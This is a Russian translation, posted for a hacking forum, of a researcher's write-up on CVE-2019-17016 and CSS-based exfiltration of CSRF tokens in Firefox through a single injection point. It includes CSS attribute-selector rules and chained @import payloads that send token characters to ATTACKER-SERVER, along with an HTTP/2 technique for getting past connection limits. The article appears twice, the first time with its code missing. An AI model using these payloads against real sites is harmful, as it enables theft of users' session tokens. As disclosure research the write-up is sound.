Переведено by $talk3r special for xss.pro
ориг статья
Несколько месяцев назад я обнаружил проблему безопасности в Firefox, известную как CVE-2019-17016. Во время анализа проблемы я разработал новую технику эксфильтрации данных CSS в Firefox через единую точку внедрения, о которой я расскажу в этой статье.
Основы и предшествующий уровень техники
В качестве примеров мы предполагаем, что мы хотим получить токен CSRF из элемента
Мы не можем использовать скрипты (возможно, из-за CSP), поэтому мы воспользуемся внедрением стиля. Классический способ - использовать селекторы атрибутов, например:
Если применяется правило CSS, то злоумышленник получает HTTP-запрос с утечкой первого символа токена. Затем необходимо подготовить еще одну таблицу стилей, которая включает в себя первый известный символ, например:
Обычно предполагалось, что последующие таблицы стилей должны быть предоставлены путем перезагрузки страницы, которая загружена в
В 2018 году у Pepe Villa была удивительная концепция, что мы можем добиться того же в Chrome с помощью единой точки внедрения, используя рекурсивный импорт CSS. Тот же трюк был вновь открыт в 2019 году Натаниалом Латтимером (aka @ d0nutptr), однако с небольшим изменением. Ниже я кратко изложу подход Латтимера, потому что он ближе к тому, что я придумал в Firefox, хотя (что довольно забавно) я не знал об исследованиях Латтимера, когда проводил свое собственное. Так что можно сказать, что я открыл заново……
Короче говоря, первая инъекция - это связка импорта:
Идея заключается в следующем:
1 В начале только первый
2 Первый
3 Когда утечка 1-го символа достигает ATTACKER-SERVER, 2-й импорт прекращает блокировку и возвращает таблицу стилей, которая содержит 1-й символ и пытается слить 2-й
4 Когда утечка 2-го символа достигает ATTACKER-SERVER, 3-й импорт прекращает блокировку ... и так далее
Этот метод работает, потому что Chrome обрабатывает импорт асинхронно, поэтому, когда любой импорт прекращает блокировку, Chrome немедленно анализирует его и применяет его.
Firefox и обработка стилей таблиц
Метод из предыдущего абзаца вообще не работает в Firefox из-за существенных различий в обработке таблиц стилей по сравнению с Chrome. Я объясню различия на нескольких простых примерах.
Прежде всего, Firefox обрабатывает таблицы стилей синхронно. Поэтому при наличии нескольких импортов в таблице стилей Firefox не будет применять какие-либо правила CSS до тех пор, пока все операции импорта не будут обработаны. Рассмотрим следующий пример:
Предположим, что первый @import возвращает правило CSS, которое устанавливает синий цвет фона страницы, в то время как следующий импорт блокируется (то есть они никогда ничего не возвращают, обрывая HTTP-соединение). В Chrome страница сразу станет синей. В Firefox ничего не происходит.
Эту проблему можно обойти, поместив весь импорт в отдельные элементы <style>:
В приведенном выше случае Firefox обрабатывает все таблицы стилей отдельно, поэтому страница мгновенно становится синей, а остальные операции импорта обрабатываются в фоновом режиме.
Но тогда есть другая проблема. Допустим, мы хотим украсть токен с 10 символами:
Firefox немедленно поставит в очередь все 10 импортов. После обработки первого импорта Firefox поставит в очередь другой запрос с утечкой символов. Проблема в том, что этот запрос помещается в конец очереди, и по умолчанию браузер имеет ограничение в 6 одновременных подключений к одному серверу. Таким образом, запрос с утечкой никогда не достигнет сервера, поскольку есть 6 других блокирующих подключений к серверу, а у нас будет тупиковая блокировка.
HTTP / 2 в помощь!
На уровне TCP действует ограничение в 6 соединений. Таким образом, к одному серверу может быть только 6 одновременных TCP-соединений. В этот момент у меня появилась идея, что HTTP / 2 может быть решением. Если вы не знаете о преимуществах HTTP / 2, то одним из основных является то, что вы можете отправлять несколько HTTP-запросов по одному соединению (известному как мультиплексирование), что значительно повышает производительность.
Firefox также ограничивает число одновременных запросов для одного соединения HTTP / 2, но по умолчанию он равен 100
Exploit
Теперь у меня есть все блоки, необходимые для подготовки рабочего эксплойта. Вот основные предположения:
1 Код эксплойта будет обслуживаться через HTTP / 2.
2 Конечная точка
3 Конечная точка
4 Чтобы заставить Firefox установить два TCP-соединения, одна конечная точка будет достигнута через https: // localhost: 3000, а другая - через https://127.0.0.1:3000.
5 Конечная точка / генерировать используется для генерации примера кода.
Я создал тестовую площадку, цель которой - украсть csrftoken с помощью эксфильтрации данных. Вы можете получить к нему доступ прямо здесь.
Скриншот тестового стенда
Я разместил пробную версию концепции на GitHub, а ниже приведен видеоролик, показывающий, что он работает
Итог
В статье я показал, что вы можете пропускать данные через CSS, если у вас есть одна точка внедрения, и вы не хотите перезагружать страницу. Это возможно благодаря двум функциям:
1 Правила
2 Чтобы обойти ограничение количества одновременных TCP-соединений, эксплойт должен обслуживаться через HTTP / 2.
ориг статья
Несколько месяцев назад я обнаружил проблему безопасности в Firefox, известную как CVE-2019-17016. Во время анализа проблемы я разработал новую технику эксфильтрации данных CSS в Firefox через единую точку внедрения, о которой я расскажу в этой статье.
Основы и предшествующий уровень техники
В качестве примеров мы предполагаем, что мы хотим получить токен CSRF из элемента
<input>.<input type="hidden" name="csrftoken" value="SOME_VALUE">Мы не можем использовать скрипты (возможно, из-за CSP), поэтому мы воспользуемся внедрением стиля. Классический способ - использовать селекторы атрибутов, например:
CSS:
input[name='csrftoken'][value^='a'] {
background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
background: url(//ATTACKER-SERVER/leak/z);
}
Если применяется правило CSS, то злоумышленник получает HTTP-запрос с утечкой первого символа токена. Затем необходимо подготовить еще одну таблицу стилей, которая включает в себя первый известный символ, например:
CSS:
input[name='csrftoken'][value^='aa'] {
background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
background: url(//ATTACKER-SERVER/leak/az);
}
Обычно предполагалось, что последующие таблицы стилей должны быть предоставлены путем перезагрузки страницы, которая загружена в
<iframe>. В 2018 году у Pepe Villa была удивительная концепция, что мы можем добиться того же в Chrome с помощью единой точки внедрения, используя рекурсивный импорт CSS. Тот же трюк был вновь открыт в 2019 году Натаниалом Латтимером (aka @ d0nutptr), однако с небольшим изменением. Ниже я кратко изложу подход Латтимера, потому что он ближе к тому, что я придумал в Firefox, хотя (что довольно забавно) я не знал об исследованиях Латтимера, когда проводил свое собственное. Так что можно сказать, что я открыл заново……
Короче говоря, первая инъекция - это связка импорта:
CSS:
@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...
Идея заключается в следующем:
1 В начале только первый
@import возвращает таблицу стилей; другие просто блокируют соединение 2 Первый
@import возвращает таблицу стилей, которая пропускает первый символ токена3 Когда утечка 1-го символа достигает ATTACKER-SERVER, 2-й импорт прекращает блокировку и возвращает таблицу стилей, которая содержит 1-й символ и пытается слить 2-й
4 Когда утечка 2-го символа достигает ATTACKER-SERVER, 3-й импорт прекращает блокировку ... и так далее
Этот метод работает, потому что Chrome обрабатывает импорт асинхронно, поэтому, когда любой импорт прекращает блокировку, Chrome немедленно анализирует его и применяет его.
Firefox и обработка стилей таблиц
Метод из предыдущего абзаца вообще не работает в Firefox из-за существенных различий в обработке таблиц стилей по сравнению с Chrome. Я объясню различия на нескольких простых примерах.
Прежде всего, Firefox обрабатывает таблицы стилей синхронно. Поэтому при наличии нескольких импортов в таблице стилей Firefox не будет применять какие-либо правила CSS до тех пор, пока все операции импорта не будут обработаны. Рассмотрим следующий пример:
CSS:
<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>
Предположим, что первый @import возвращает правило CSS, которое устанавливает синий цвет фона страницы, в то время как следующий импорт блокируется (то есть они никогда ничего не возвращают, обрывая HTTP-соединение). В Chrome страница сразу станет синей. В Firefox ничего не происходит.
Эту проблему можно обойти, поместив весь импорт в отдельные элементы <style>:
CSS:
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
В приведенном выше случае Firefox обрабатывает все таблицы стилей отдельно, поэтому страница мгновенно становится синей, а остальные операции импорта обрабатываются в фоновом режиме.
Но тогда есть другая проблема. Допустим, мы хотим украсть токен с 10 символами:
CSS:
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>
HTTP / 2 в помощь!
На уровне TCP действует ограничение в 6 соединений. Таким образом, к одному серверу может быть только 6 одновременных TCP-соединений. В этот момент у меня появилась идея, что HTTP / 2 может быть решением. Если вы не знаете о преимуществах HTTP / 2, то одним из основных является то, что вы можете отправлять несколько HTTP-запросов по одному соединению (известному как мультиплексирование), что значительно повышает производительность.
Firefox также ограничивает число одновременных запросов для одного соединения HTTP / 2, но по умолчанию он равен 100
network.http.spdy.default-concurrent in about:config . Если нам нужно больше, мы можем заставить Firefox создать второе TCP-соединение, используя другое имя хоста. Например, если я создаю 100 запросов к https: // localhost: 3000 и 50 запросов к https://127.0.0.1:3000, Firefox создаст два TCP-соединения. Exploit
Теперь у меня есть все блоки, необходимые для подготовки рабочего эксплойта. Вот основные предположения:
1 Код эксплойта будет обслуживаться через HTTP / 2.
2 Конечная точка
/polling/:session/:index возвращается в CSS для утечки: индексного символа. Запрос будет заблокирован, если символы index-1 уже не просочились. : параметр пути сеанса используется для различения разного рода попыток эксфильтрации.3 Конечная точка
/leak/:session/:value используется для утечки токена. Значение будет всей утечкой, а не только последним символом.4 Чтобы заставить Firefox установить два TCP-соединения, одна конечная точка будет достигнута через https: // localhost: 3000, а другая - через https://127.0.0.1:3000.
5 Конечная точка / генерировать используется для генерации примера кода.
Я создал тестовую площадку, цель которой - украсть csrftoken с помощью эксфильтрации данных. Вы можете получить к нему доступ прямо здесь.
Скриншот тестового стенда
Я разместил пробную версию концепции на GitHub, а ниже приведен видеоролик, показывающий, что он работает
Итог
В статье я показал, что вы можете пропускать данные через CSS, если у вас есть одна точка внедрения, и вы не хотите перезагружать страницу. Это возможно благодаря двум функциям:
1 Правила
@import необходимо разделить на многие таблицы стилей, чтобы при последующих импортах не происходила блокировка обработки таблицы стилей.2 Чтобы обойти ограничение количества одновременных TCP-соединений, эксплойт должен обслуживаться через HTTP / 2.